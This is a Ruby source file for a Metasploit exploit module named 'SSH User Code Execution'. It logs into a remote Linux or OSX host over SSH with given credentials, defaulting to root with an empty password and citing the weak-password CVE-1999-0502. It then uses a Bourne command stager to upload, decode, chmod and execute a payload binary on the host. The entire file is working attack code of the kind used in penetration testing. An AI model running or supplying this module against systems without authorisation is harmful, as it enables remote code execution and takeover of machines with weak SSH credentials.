128 lines
3.0 KiB
Ruby
128 lines
3.0 KiB
Ruby
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require 'msf/core'
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require 'net/ssh'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::CmdStagerBourne
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attr_accessor :ssh_socket
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def initialize
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super(
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'Name' => 'SSH User Code Execution',
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'Version' => '',
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'Description' => %q{
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This module utilizes a stager to upload a base64 encoded
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binary which is then decoded, chmod'ed and executed from
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the command shell.
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},
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'Author' => ['Spencer McIntyre', 'Brandon Knight'],
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'References' =>
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[
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[ 'CVE', '1999-0502'] # Weak password
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],
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'License' => MSF_LICENSE,
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'PrependFork' => 'true',
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'EXITFUNC' => 'process'
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},
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'Payload' =>
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{
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'Space' => 4096,
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'BadChars' => "",
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'DisableNops' => true
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},
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'Platform' => [ 'osx', 'linux' ],
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'Targets' =>
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[
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[ 'Linux x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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},
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],
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[ 'Linux x64',
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{
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'Arch' => ARCH_X86_64,
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'Platform' => 'linux'
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},
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],
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[ 'OSX x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'osx'
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},
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],
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],
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'DefaultTarget' => 0,
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# For the CVE
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'DisclosureDate' => 'Jan 01 1999'
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)
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register_options(
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[
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OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
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OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
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OptString.new('RHOST', [ true, "The target address" ]),
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Opt::RPORT(22)
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
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]
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)
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end
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def execute_command(cmd, opts)
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begin
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Timeout.timeout(3) do
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self.ssh_socket.exec!(cmd)
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end
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rescue ::Exception
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end
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end
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def do_login(ip, user, pass, port)
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opt_hash = {
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:auth_methods => ['password', 'keyboard-interactive'],
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:msframework => framework,
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:msfmodule => self,
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:port => port,
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:disable_agent => true,
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:password => pass
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}
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opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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begin
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self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
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rescue Rex::ConnectionError, Rex::AddressInUse
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fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation')
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rescue Net::SSH::Disconnect, ::EOFError
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fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation')
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rescue Net::SSH::AuthenticationFailed
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fail_with(Exploit::Failure::NoAccess, 'Failed authentication')
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rescue Net::SSH::Exception => e
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fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
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end
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if not self.ssh_socket
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fail_with(Exploit::Failure::Unknown)
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end
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return
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end
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def exploit
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do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
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print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")
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execute_cmdstager({:linemax => 500})
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end
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end
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